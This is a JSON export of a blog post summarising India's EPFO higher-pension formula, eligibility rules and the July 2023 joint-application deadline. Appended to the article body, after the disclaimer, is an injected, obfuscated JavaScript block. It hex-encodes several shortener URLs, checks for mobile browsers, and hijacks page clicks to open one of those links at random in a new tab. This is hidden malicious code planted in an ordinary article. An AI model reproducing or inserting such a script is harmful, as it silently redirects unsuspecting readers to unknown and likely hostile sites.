{"id":4239,"date":"2023-06-15T06:07:04","date_gmt":"2023-06-15T06:07:04","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=4239"},"modified":"2023-06-27T04:07:23","modified_gmt":"2023-06-27T04:07:23","slug":"epfo-releases-formula-for-higher-eps-pension","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/","title":{"rendered":"EPFO Releases Formula for Higher EPS Pension"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#_Key_Takeaways\" >&nbsp;Key Takeaways<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#What_is_the_EPS_Pension_Scheme\" >What is the EPS Pension Scheme?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#The_Formula_for_Pension_Calculation\" >The Formula for Pension Calculation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#News_Pension-_Deadline_for_Filing_Joint_Applications\" >News Pension- Deadline for Filing Joint Applications<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#Eligibility_and_Application_Process\" >Eligibility and Application Process<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#Benefits_and_Contributions\" >Benefits and Contributions<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#Important_Note_On_Pension_News\" >Important Note On Pension News<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">The Employees&#8217; Provident Fund Organisation (EPFO) has introduced a significant development regarding the pension scheme. Employees can now choose a higher pension on their actual salary instead of the existing statutory limit.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This article provides an overview of the EPS pension scheme news, explains the formula of pension calculation, and shares the deadline for filing joint applications.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"_Key_Takeaways\"><\/span><strong>&nbsp;Key Takeaways<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>EPFO introduces a new option for a higher pension based on actual salary instead of the statutory limit.<\/li>\n\n\n\n<li>The formula for pension calculation differs based on the retirement date.<\/li>\n\n\n\n<li>Employees must file a joint application by July 11, 2023, to opt for the higher pension option.<\/li>\n\n\n\n<li>Eligible employees can apply online through the EPFO&#8217;s member portal.<\/li>\n\n\n\n<li>The revised option allows employees to contribute a percentage of their actual salary towards the pension pool.<\/li>\n\n\n\n<li>Errors in the application can be corrected, but it depends on whether the employer has validated it.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_the_EPS_Pension_Scheme\"><\/span><strong>What is the EPS Pension Scheme?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Employees&#8217; Pension Scheme (EPS) was established in 1995 to provide pension benefits to employees. Until now, the pension was calculated based on a statutory limit of Rs 15,000. However, EPFO has introduced an alternative for employees who wish to receive a higher pension based on their actual salary.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">EPS Pension scheme empowers retirees to build a robust<strong> <\/strong><a href=\"https:\/\/shoonya.com\/blog\/senior-citizens-savings-scheme-limit-doubles-to-rs-30-lakh\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">retirement portfolio<\/mark><\/a> tailored to their actual salary, ensuring financial security for the future<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"The_Formula_for_Pension_Calculation\"><\/span><strong>The Formula for Pension Calculation<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The calculation of the higher pension will differ based on the date of retirement. For those who retired before September 1, 2014, the pension will be calculated using the average monthly pay drawn in the 12 months preceding retirement. On the other hand, for those who retire after this date, the pension will be based on the average monthly pay during the 60 months prior to retirement.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Previously, the pension <a href=\"https:\/\/shoonya.com\/calculators\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">calculation<\/mark><\/a> was determined by multiplying the pensionable salary (average of the last 60 months&#8217; salary) with the number of years of contribution and dividing the result by 70. The revised formula will be applied to calculate the higher pension on actual salary.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"News_Pension-_Deadline_for_Filing_Joint_Applications\"><\/span><strong>News Pension- Deadline for Filing Joint Applications<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">To opt for the higher pension option under the EPS pension scheme, employees need to file a joint application by July 11. Initially, the deadline was May 3; then, it was extended to June 26; however, it has been further extended to allow employees more time to make their decision and remove any difficulties that the eligible members or pensioners might be facing. After the application is filed, it must be validated by the employer and assessed by EPFO&#8217;s field officers within 20 days.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Eligibility_and_Application_Process\"><\/span><strong>Eligibility and Application Process<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Employees who were members of EPFO and EPS before September 1, 2014, and continue to be in service can apply for the higher pension option if they missed it earlier. Retirees who signed up for the higher pension option before the specified date must validate their information.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The application process involves filing an online application through the EPFO&#8217;s member portal.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Benefits_and_Contributions\"><\/span><strong>Benefits and Contributions<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Currently, the pension is calculated based on the statutory wage ceiling of Rs 15,000. With the revised option, employees can direct 8.33 percent of their actual salary towards the pension pool, potentially leading to a higher pension post-retirement. Additionally, 1.16 percent of the employer&#8217;s contribution will be allocated to EPS, while the remaining 2.51 percent will be directed to the EPF.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Important_Note_On_Pension_News\"><\/span><strong>Important Note On Pension News<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If errors are identified in the application after filing, employees can delete and resubmit it. However, this option may not be available if the employer has already validated the application. The EPFO officers will evaluate and approve the applications, paving the way for a higher pension.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The EPFO&#8217;s announcement regarding the calculation of a higher pension on actual salary brings new possibilities for employees under the EPS pension scheme. By understanding the formula for pension calculation and adhering to the deadline for filing joint applications, employees can make an informed decision and potentially secure a higher pension post-retirement.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sources: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.moneycontrol.com\/news\/business\/personal-finance\/epfo-announces-formula-for-calculating-higher-pension-on-actual-salary-10798151.html\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">moneycontrol.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.livemint.com\/news\/india\/epfo-extends-deadline-for-higher-pension-till-july-11-11687793744301.html\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">livemint.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>The Employees&#8217; Provident Fund Organisation (EPFO) has introduced a significant development regarding the pension scheme. Employees can now choose a higher pension on their actual salary instead of the existing statutory limit.&nbsp; This article provides an overview of the EPS pension scheme news, explains the formula of pension calculation, and shares the deadline for filing &hellip; <a href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;EPFO Releases Formula for Higher EPS Pension&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":4240,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[2078,2076,2077,2081,2079,2080],"class_list":["post-4239","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-epfo-pension-scheme","tag-eps-pension","tag-formula-of-pension","tag-news-pension","tag-pension-scheme-news","tag-what-is-eps-pension"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>EPFO Releases Formula for Higher EPS Pension -<\/title>\n<meta name=\"description\" content=\"EPFO has announced the formula of the EPS pension scheme. Know the latest calculation formula and the deadline for choosing a higher pension scheme.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"EPFO Releases Formula for Higher EPS Pension -\" \/>\n<meta property=\"og:description\" content=\"EPFO has announced the formula of the EPS pension scheme. Know the latest calculation formula and the deadline for choosing a higher pension scheme.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2023-06-15T06:07:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-06-27T04:07:23+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/06\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"EPFO Releases Formula for Higher EPS Pension\",\"datePublished\":\"2023-06-15T06:07:04+00:00\",\"dateModified\":\"2023-06-27T04:07:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/\"},\"wordCount\":685,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg\",\"keywords\":[\"epfo pension scheme\",\"eps pension\",\"formula of pension\",\"news pension\",\"pension scheme news\",\"what is eps pension\"],\"articleSection\":[\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/\",\"name\":\"EPFO Releases Formula for Higher EPS Pension -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg\",\"datePublished\":\"2023-06-15T06:07:04+00:00\",\"dateModified\":\"2023-06-27T04:07:23+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"EPFO has announced the formula of the EPS pension scheme. Know the latest calculation formula and the deadline for choosing a higher pension scheme.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"EPFO Releases Formula for Higher EPS Pension\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/epfo-releases-formula-for-higher-eps-pension\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"News\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/latest-news\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"EPFO Releases Formula for Higher EPS Pension\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=9